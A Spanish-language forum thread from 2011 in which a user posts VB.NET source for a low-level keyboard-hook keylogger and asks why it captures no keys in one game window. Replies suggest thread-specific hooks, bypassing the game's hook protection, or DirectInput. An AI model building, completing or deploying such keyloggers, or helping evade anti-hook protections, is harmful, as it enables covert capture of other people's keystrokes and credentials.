elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:24  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (Moderador: [D4N93R])
| | | |-+  Keyboard Hook no detecta teclas en una aplicación en concreto
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keyboard Hook no detecta teclas en una aplicación en concreto  (Leído 889 veces)
rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Keyboard Hook no detecta teclas en una aplicación en concreto
« en: 14 Diciembre 2011, 01:09 »

Hola buenas.


Acabo de terminar un KeyLogger basado en un hook de teclado Low-level.
Funciona divinamente en cualquier ventana activa, salvo en la que interesa: una ventana de un juego en concreto. Mientras esta ventana tenga el foco, no me reconoce ningún keystroke. Estoy empezando a pensar que está programado con toda intención jeje

¿Alguien podría decir a qué se podría deber? La verdad es que estoy perdido.
Gracias por adelantado.
Saludos!

El código:
Código
Class Keylogger
 
 
#Region "APIS"
   Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
   Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
                                                                                     ByVal lpfn As KeyboardHookDelegate, _
                                                                                     ByVal hmod As Integer, _
                                                                                     ByVal dwThreadId As Integer) As Integer
 
 
 
   Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, _
                                                         ByVal nCode As Integer, _
                                                        ByVal wParam As Integer, _
                                                        ByVal lParam As KBDLLHOOKSTRUCT) As Integer
 
   Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
 
   Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, _
                                                                                   ByVal lpString As String, _
                                                                                   ByVal cch As Int32) As Int32
 
   Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, _
                                                  ByVal wParam As Integer, _
                                                  ByRef lParam As KBDLLHOOKSTRUCT) As Integer
#End Region
#Region "CONST, ESTRUCTURA, ENUM"
   Private Const WM_KEYUP As Integer = &H101
   Private Const WM_KEYDOWN As Short = &H100S
   Private Const WM_SYSKEYDOWN As Integer = &H104
   Private Const WM_SYSKEYUP As Integer = &H105
 
   Public Structure KBDLLHOOKSTRUCT
       Public vkCode As Integer
       Public scanCode As Integer
       Public flags As Integer
       Public time As Integer
       Public dwExtraInfo As Integer
   End Structure
 
#End Region
#Region "VARIABLES"
   Private KeyboardHandle As IntPtr = 0
   Private LastCheckedForegroundTitle As String = ""
   Private callback As KeyboardHookDelegate = Nothing
   Private KeyLog As String
 
#End Region
   Public Sub HookKeyboard()
       callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
       KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
   End Sub
   Private Function Hooked()
       Return KeyboardHandle <> 0
   End Function
   Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
 
       Dim CurrentTitle = GetActiveWindowTitle()
       Dim Key As String = ""
 
       If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
           Select Case lParam.vkCode
               Case virtualKey.K_0 To virtualKey.K_9
                   Key = ChrW(lParam.vkCode)
               Case virtualKey.K_A To virtualKey.K_Z
                   Key = ChrW(lParam.vkCode + 32)
               Case virtualKey.K_Backspace
                   Key = "[Backspace]"
               Case virtualKey.K_Return
                   Key = "[Enter]"
               Case virtualKey.K_Space
                   Key = " "
               Case virtualKey.K_Tab
                   Key = "[Tab]"
               Case virtualKey.K_Esc
                   Key = "[Escape]"
               Case virtualKey.K_Control
                   Key = "[Control]"
               Case virtualKey.K_LControl
                   Key = "[LControl]"
               Case virtualKey.K_RControl
                   Key = "[RControl]"
               Case virtualKey.K_LAlt
                   Key = "[LAlt]"
               Case virtualKey.K_LShift
                   Key = "[LShift]"
               Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9
                   Key = ChrW(lParam.vkCode)
               Case virtualKey.K_PrintScreen
                   Key = "[PrintScreen]"
               Case virtualKey.K_RAlt
                   Key = "[RAlt]"
               Case virtualKey.K_RShift
                   Key = "[RShift]"
               Case 189
                   Key = "[-]"
               Case 191
                   Key = "&#231;"
               Case 222
                   Key = "[&#180;]"
               Case 226
                   Key = "[>]"
               Case 220
                   Key = "&#186;"
               Case 219
                   Key = "[&#161;]"
               Case 221
                   Key = "[']"
               Case 110
                   Key = "[./Supr]"
               Case 190
                   Key = "."
               Case 188
                   Key = ","
           End Select
       End If
       KeyLog &= Key
       Return CallNextHookEx(KeyboardHndle, Code, wParam, lParam)
   End Function
 


« Última modificación: 14 Diciembre 2011, 15:49 por raul338 » En línea
RHL


Desconectado Desconectado

Mensajes: 962



Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #1 en: 14 Diciembre 2011, 01:52 »

Esto es .Net
bueno pero lo general para keylogger te dire, veo que comparas la tecla pulsados con valores determinados :P
esto no es muy recomandable es mejor obtener los scancodes, para obtener el caracter correcto quiza seria eso el
porque no te muestra algunos


En línea
BlackZeroX (Astaroth)
Wiki

Conectado Conectado

Mensajes: 2.831


I'Love...!¡.


Ver Perfil WWW
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #2 en: 14 Diciembre 2011, 08:11 »

Solo edita SetWindowsHookEx para que realize un hook a el hilo deaseado... habitualmente los juegos detentan los ganchos y los deshasen... en pocas palabras los eliminan o los evaden, asi que será mejor que primero deshabilites o evadas (bypass) la seguridad del juego.

Dulces Lunas!¡.
En línea

Web Principal-->[ Blog(VB6) | Host File (Public & Private) | Scan Port | (New)MyInfraPC (Descubre mi Contraseña venefi. $) ]



The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi
raul338


Desconectado Desconectado

Mensajes: 2.371


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #3 en: 14 Diciembre 2011, 15:51 »

Te lo muevo a vb.net

Puede ser que la ventana este protegida contra hooks :P o use otras entradas (como DirectInput)
En línea

rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #4 en: 15 Diciembre 2011, 00:15 »

Ey se agradece mucho vuestra pronta respuesta.

RHL: El problema no es que me muestre unos caracteres y otros no. El problema es que no me reconoce ninguno (y sólo esa ventana cuando está activa). Igualmente gracias por el consejo de los scancodes. Veré como mejorarlo en ese aspecto.

BlackZeroX: Voy a probar lo primero que has dicho que tiene buena pinta. Lo de evadir la seguridad del juego son para mi palabras mayores jeje

raul338: Disculpas por haberlo puesto en el foro equivocado (vi VB y me lancé xD). Veré igual como hacerlo con DirectInput aunque si supierais de alguna información, tutorial o ejemplo de código sobre eso último se agradecería un montón.
En línea
rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #5 en: 15 Diciembre 2011, 16:53 »

Bueno después de intentar lo que me dijisteis decidí probar con WH_JOURNALRECORD en vez de WH_KEYBOARD_LL ya que al parecer la ventana de la aplicación no me reconoce el último.

Ahora bien, me falla el SetWindowsHookEx:
Código:
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
Código:
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, _
 System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()(0)), 0)

He probado esas dos formas (entre muchas más) y el hookHandle que devuelve la función es nulo (vamos, que no hace el hook).
De nuevo estoy perdido. No sé qué hacer.
¿Podría alguien echarme una mano en esa línea?
Gracias de nuevo por vuestro tiempo
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Keyboard Hook - Keylogger « 1 2 3 »
Programación C/C++
sch3m4 32 4,110 Último mensaje 17 Enero 2007, 18:22
por D1e6o!
Ejecutar aplicación mediante teclas
Programación Visual Basic
ubetor^^ 6 1,108 Último mensaje 9 Octubre 2006, 21:39
por ubetor^^
Captar teclas pulsadas aunque la aplicacion no este atendida « 1 2 »
.NET
nico56 17 3,331 Último mensaje 30 Enero 2010, 00:18
por nico56
Evitar Macro (Hook Keyboard?)
Programación C/C++
SnakeDrak 4 1,233 Último mensaje 8 Abril 2010, 07:58
por SnakeDrak
Aplicación que detecte una pulsación de teclas en cualquier momento
.NET
lord_Sirikon 4 875 Último mensaje 13 Enero 2011, 17:18
por raul338
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines